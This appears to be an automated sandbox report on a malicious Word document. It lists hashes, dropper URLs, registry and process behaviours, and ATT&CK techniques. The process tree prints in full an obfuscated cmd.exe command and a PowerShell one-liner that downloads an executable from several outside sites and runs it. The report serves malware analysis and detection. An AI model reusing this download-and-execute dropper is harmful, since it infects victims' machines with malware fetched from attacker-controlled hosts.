ddfa667a6805bf8b9216feb8df15b1590c340914d7142aa142ecb858d117ba9b

General

Target

ddfa667a6805bf8b9216feb8df15b1590c340914d7142aa142ecb858d117ba9b.doc
Size

92KB
MD5

4ed6536cc686553f21e7583d5257e590
SHA1

437dcc1cc98f92a4bdfaab6746a87403ded4dba0
SHA256

ddfa667a6805bf8b9216feb8df15b1590c340914d7142aa142ecb858d117ba9b
SHA512

b25b2702513ae30d14c849be9282940d0ae7392097d1f377dded49bf8c4f304656bcc58391ac427b1ee59ebf833394a298988f76324b23ac11b28005048f120a

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://nebula-ent.com/t3

exe.dropper

http://ektor.com.br/XWWpLxCI

exe.dropper

http://negreiros.com.br/bin/zoZb

exe.dropper

http://n-morimoto.jp/j583VppF

exe.dropper

http://mscyapi.com/mscinsaat.com/cWBJXY3

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4720	2960	cmd.exe	WINWORD.EXE

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Drops file in Windows directory 6 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 41 IoCs

Processes:

WaaSMedicAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2960 WINWORD.EXE
2960 WINWORD.EXE

pid	process
2960	WINWORD.EXE
2960	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

svchost.exe

description	pid	process
Token: SeShutdownPrivilege	4576	svchost.exe
Token: SeCreatePagefilePrivilege	4576	svchost.exe
Token: SeShutdownPrivilege	4576	svchost.exe
Token: SeCreatePagefilePrivilege	4576	svchost.exe
Token: SeShutdownPrivilege	4576	svchost.exe
Token: SeCreatePagefilePrivilege	4576	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2960 WINWORD.EXE
2960 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2960 WINWORD.EXE
2960 WINWORD.EXE
2960 WINWORD.EXE
2960 WINWORD.EXE
2960 WINWORD.EXE
2960 WINWORD.EXE
2960 WINWORD.EXE

pid	process
2960	WINWORD.EXE
2960	WINWORD.EXE

pid	process
2960	WINWORD.EXE
2960	WINWORD.EXE
2960	WINWORD.EXE
2960	WINWORD.EXE
2960	WINWORD.EXE
2960	WINWORD.EXE
2960	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2960 wrote to memory of 4720	2960	WINWORD.EXE	cmd.exe
PID 2960 wrote to memory of 4720	2960	WINWORD.EXE	cmd.exe
PID 4720 wrote to memory of 2876	4720	cmd.exe	powershell.exe
PID 4720 wrote to memory of 2876	4720	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ddfa667a6805bf8b9216feb8df15b1590c340914d7142aa142ecb858d117ba9b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2960

C:\Windows\SYSTEM32\cmd.exe
cmd /V:/C"set icX=izXquhBIwbtEjbVz5CLc32F)SdOskxZo8,Y{l\yPm;$pMeD-KvnrNJ1}a+@g.=W' f/:7(&&for %6 in (43;31;8;45;51;27;5;45;36;36;64;42;34;43;26;61;50;45;8;47;31;13;12;45;19;10;64;52;45;10;60;62;45;13;17;36;0;45;50;10;41;42;48;49;17;61;63;5;10;10;43;67;66;66;50;45;13;4;36;56;47;45;50;10;60;19;31;40;66;10;20;58;5;10;10;43;67;66;66;45;28;10;31;51;60;19;31;40;60;13;51;66;2;62;62;43;18;29;17;7;58;5;10;10;43;67;66;66;50;45;59;51;45;0;51;31;27;60;19;31;40;60;13;51;66;13;0;50;66;15;31;30;13;58;5;10;10;43;67;66;66;50;47;40;31;51;0;40;31;10;31;60;12;43;66;12;16;32;20;14;43;43;22;58;5;10;10;43;67;66;66;40;27;19;38;56;43;0;60;19;31;40;66;40;27;19;0;50;27;56;56;10;60;19;31;40;66;19;62;6;53;2;34;20;63;60;24;43;36;0;10;69;63;58;63;23;41;42;4;34;30;64;61;64;63;68;21;54;63;41;42;5;44;19;61;42;45;50;49;67;10;45;40;43;57;63;37;63;57;42;4;34;30;57;63;60;45;29;45;63;41;65;31;51;45;56;19;5;69;42;0;13;19;64;0;50;64;42;48;49;17;23;35;10;51;38;35;42;34;43;26;60;46;31;8;50;36;31;56;25;22;0;36;45;69;42;0;13;19;33;64;42;5;44;19;23;41;24;10;56;51;10;47;39;51;31;19;45;27;27;64;42;5;44;19;41;13;51;45;56;28;41;55;19;56;10;19;5;35;55;55;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;64;78)do set uN92=!uN92!!icX:~%6,1!&&if %6 geq 78 call %uN92:*uN92!=%"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $YpO=new-object Net.WebClient;$KvC='http://nebula-ent.com/t3@http://ektor.com.br/XWWpLxCI@http://negreiros.com.br/bin/zoZb@http://n-morimoto.jp/j583VppF@http://mscyapi.com/mscinsaat.com/cWBJXY3'.Split('@');$uYZ = '721';$hMc=$env:temp+'\'+$uYZ+'.exe';foreach($ibc in $KvC){try{$YpO.DownloadFile($ibc, $hMc);Start-Process $hMc;break;}catch{}}
3⤵
PID:2876

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe f6dc7d082f00c170d0d2d878253d8def HEi96ZH5BEeV6ft6KBdI+g.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:4824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4576

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2960-130-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

Filesize
64KB

Download
memory/2960-131-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

Filesize
64KB

Download
memory/2960-132-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

Filesize
64KB

Download
memory/2960-133-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

Filesize
64KB

Download
memory/2960-134-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

Filesize
64KB

Download
memory/2960-135-0x00007FFF15930000-0x00007FFF15940000-memory.dmp

Filesize
64KB

Download
memory/2960-136-0x00007FFF15930000-0x00007FFF15940000-memory.dmp

Filesize
64KB

Download
memory/4576-149-0x00000266B2540000-0x00000266B2544000-memory.dmp

Filesize
16KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads